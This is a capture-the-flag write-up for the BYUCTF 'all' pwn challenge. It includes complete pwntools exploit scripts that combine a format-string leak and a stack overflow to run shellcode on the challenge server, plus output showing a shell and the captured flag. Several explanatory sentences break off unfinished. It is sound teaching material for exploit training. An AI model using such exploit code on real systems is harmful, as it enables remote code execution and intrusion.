We start by downloading the provided source files.
We are given a binary
int iVar1;
char local_28 [32];
while( true ) {
iVar1 = strcmp(local_28,"quit");
if (iVar1 == 0) break;
read(0,local_28,256);
printf(local_28);
}
We input a pattern and use gdb to see where the return address is overwritten.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 > pattern.txt
00:0000│ rsi rsp 0x7fffffffdca0 ◂— 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
01:0008│-018 0x7fffffffdca8 ◂— '2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
02:0010│-010 0x7fffffffdcb0 ◂— 'a5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
03:0018│-008 0x7fffffffdcb8 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
04:0020│ rbp 0x7fffffffdcc0 ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
05:0028│+008 0x7fffffffdcc8 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
06:0030│+010 0x7fffffffdcd0 ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
07:0038│+018 0x7fffffffdcd8 ◂— '8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A\n'
We can then figure out the address of the return address:
>>> a = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
>>> a[40:]
'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
So we have a padding of 40 characters.
The whole input is 256 characters, we write 40 characters of padding, then the new address and then our shellcode
The address is the addres of return address
So we write
Unfortunately, this address will be diffrent on the server, so we need to leak the address of the base pointer. This is simple because
We will generate our shellcode using
To execute the payload we trigger
We use python to execute the exploit.
In this exploit we avoid null bytes. This probably is not necessary, but we did it anyway.
This code will exploit the binary locally:
import pwn
import sys
BINARY_NAME = "src/all"
def solve(r: pwn.remote):
#get base pointer
r.send(b'%10$p!\00')
bpointer = r.recvuntil(b'!')
bpointer = bpointer.split(b'!')[0]
print(b'bpointer is: ' + bpointer)
bpointer = int(bpointer, 16)
paddress = bpointer - 0x10 #because difference in gdb is 0x10
#litle endian
paddress = paddress.to_bytes(8, byteorder='little')
#send shellcode
shellcode = pwn.asm(pwn.shellcraft.amd64.linux.sh())
print('shellcode: ' + str(shellcode.hex()))
r.send(b'\x90'*40 + b'\x11\x11\x11\x11\x11\x11\x11\x11' + shellcode + b'\00')
print(r.recvuntil(b'\x90'))
# send last part of address
r.send(b'\x80'*40 + paddress[0:6] + b'\x11\x00')
print(r.recvuntil(b'\x80'))
# send first part of address
r.send(b'\x70'*40 + paddress[0:6] + b'\x00')
print(r.recvuntil(b'\x70'))
# send quit
r.send(b'quit\00')
r.interactive()
def conn():
pwn.context.terminal = ["tmux", "splitw", "-h"]
r = pwn.gdb.debug(
pwn.context.binary.path,
# set follow-fork-mode to parent to not debug
# the shell process that is spawned on `system` calls
gdbscript="""
set follow-fork-mode parent
b *vuln+0x4e
c
""",
)
return r
def main():
exe = pwn.ELF(BINARY_NAME)
pwn.context.binary = exe
r = conn()
solve(r)
if __name__ == "__main__":
main()
And this code will exploit the binary on the server:
import pwn
import sys
BINARY_NAME = "src/all"
def solve(r: pwn.remote):
#get base pointer
r.send(b'%10$p!\00')
bpointer = r.recvuntil(b'!')
bpointer = bpointer.split(b'!')[0]
print(b'bpointer is: ' + bpointer)
bpointer = int(bpointer, 16)
paddress = bpointer - 0x10 #because difference in gdb is 0x10
#litle endian
paddress = paddress.to_bytes(8, byteorder='little')
#send shellcode
shellcode = pwn.asm(pwn.shellcraft.amd64.linux.sh())
print('shellcode: ' + str(shellcode.hex()))
r.send(b'\x90'*40 + b'\x11\x11\x11\x11\x11\x11\x11\x11' + shellcode + b'\00')
print(r.recvuntil(b'\x90'))
# send last part of address
r.send(b'\x80'*40 + paddress[0:6] + b'\x11\x00')
print(r.recvuntil(b'\x80'))
# send first part of address
r.send(b'\x70'*40 + paddress[0:6] + b'\x00')
print(r.recvuntil(b'\x70'))
# send quit
r.send(b'quit\00')
r.interactive()
def conn():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} REMOTE remote-ip remote-port")
sys.exit(1)
r = pwn.remote(sys.argv[1], sys.argv[2])
return r
def main():
exe = pwn.ELF(BINARY_NAME)
pwn.context.binary = exe
r = conn()
solve(r)
if __name__ == "__main__":
main()
Running this will give us a shell and we can read the flag:
python3 exploit.py all.chal.cyberjousting.com 1348
[*] '/home/pepe/ctf/byuctf/pwn/all/src/all'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to all.chal.cyberjousting.com on port 1348: Done
b'bpointer is: 0x7ffe9cc14ca0'
shellcode: 6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05
b'\x90'
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x11\x11\x11\x11\x11\x11\x11\x11jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05\x80'
b'\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x90L\xc1\x9c\xfe\x7f\x11p'
[*] Switching to interactive mode
ppppppppppppppppppppppppppppppppppppppp\x90L\xc1\x9c\quit$ ls
all
flag.txt
start.sh
$ cat flag.txt
byuctf{too_many_options_what_do_I_chooooooose}